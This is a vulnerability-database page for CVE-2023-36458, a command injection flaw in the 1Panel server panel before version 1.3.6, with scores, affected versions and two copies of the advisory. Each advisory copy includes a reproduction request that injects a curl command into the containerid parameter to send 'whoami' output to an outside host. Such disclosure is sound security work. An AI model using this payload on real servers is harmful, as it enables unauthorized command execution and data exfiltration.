CVE-2023-36458
published 2023-07-05CVE-2023-36458: 1Panel is an open source Linux server operation and maintenance management panel. Prior to version 1.3.6, an authenticated attacker can craft a malicious…
PriorityP356high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
EPSS
1.99%
78.1th percentile
1Panel is an open source Linux server operation and maintenance management panel. Prior to version 1.3.6, an authenticated attacker can craft a malicious payloads to achieve command injection when entering the container terminal. The vulnerability has been fixed in v1.3.6.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| 1panel-dev | 1panel | — | — |
| fit2cloud | 1panel | < 1.3.6 | 1.3.6 |
| github.com | 1panel-dev_1panel | >= 0 < 1.3.6 | 1.3.6 |
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
OSV
1Panel vulnerable to command injection when entering the container terminal in github.com/1Panel-dev/1Panel
osv·2024-08-20
CVE-2023-36458 1Panel vulnerable to command injection when entering the container terminal in github.com/1Panel-dev/1Panel
1Panel vulnerable to command injection when entering the container terminal in github.com/1Panel-dev/1Panel
1Panel vulnerable to command injection when entering the container terminal in github.com/1Panel-dev/1Panel
OSV
1Panel vulnerable to command injection when entering the container terminal
osv·2023-07-05
CVE-2023-36458 [MEDIUM] 1Panel vulnerable to command injection when entering the container terminal
1Panel vulnerable to command injection when entering the container terminal
### Impact
The authenticated attacker can craft a malicious payloads to achieve command injection when entering the container terminal.
1. Vulnerability analysis.
```
backend\app\api\v1\terminal.go#ContainerWsSsh
```
2. vulnerability reproduction.
```
GET /api/v1/containers/exec?cols=80&rows=24&containerid=/bin/bash||curl%20http://192.168.109.1:12345/`whoami`||&user=asd&command=/bin/bash HTTP/1.1
Host: 192.168.109.152:40982
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: http://192.168.109.152:40982
Sec-WebSocket-Key: cOEWTRgkjxVppuhzAfOUWQ==
Connection: ke
GHSA
1Panel vulnerable to command injection when entering the container terminal
ghsa·2023-07-05
CVE-2023-36458 [MEDIUM] CWE-77 1Panel vulnerable to command injection when entering the container terminal
1Panel vulnerable to command injection when entering the container terminal
### Impact
The authenticated attacker can craft a malicious payloads to achieve command injection when entering the container terminal.
1. Vulnerability analysis.
```
backend\app\api\v1\terminal.go#ContainerWsSsh
```
2. vulnerability reproduction.
```
GET /api/v1/containers/exec?cols=80&rows=24&containerid=/bin/bash||curl%20http://192.168.109.1:12345/`whoami`||&user=asd&command=/bin/bash HTTP/1.1
Host: 192.168.109.152:40982
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: http://192.168.109.152:40982
Sec-WebSocket-Key: cOEWTRgkjxVppuhzAfOUWQ==
Connection: ke
No detection rules found.
No public exploits indexed.
No writeups or analysis indexed.
2023-07-05
Published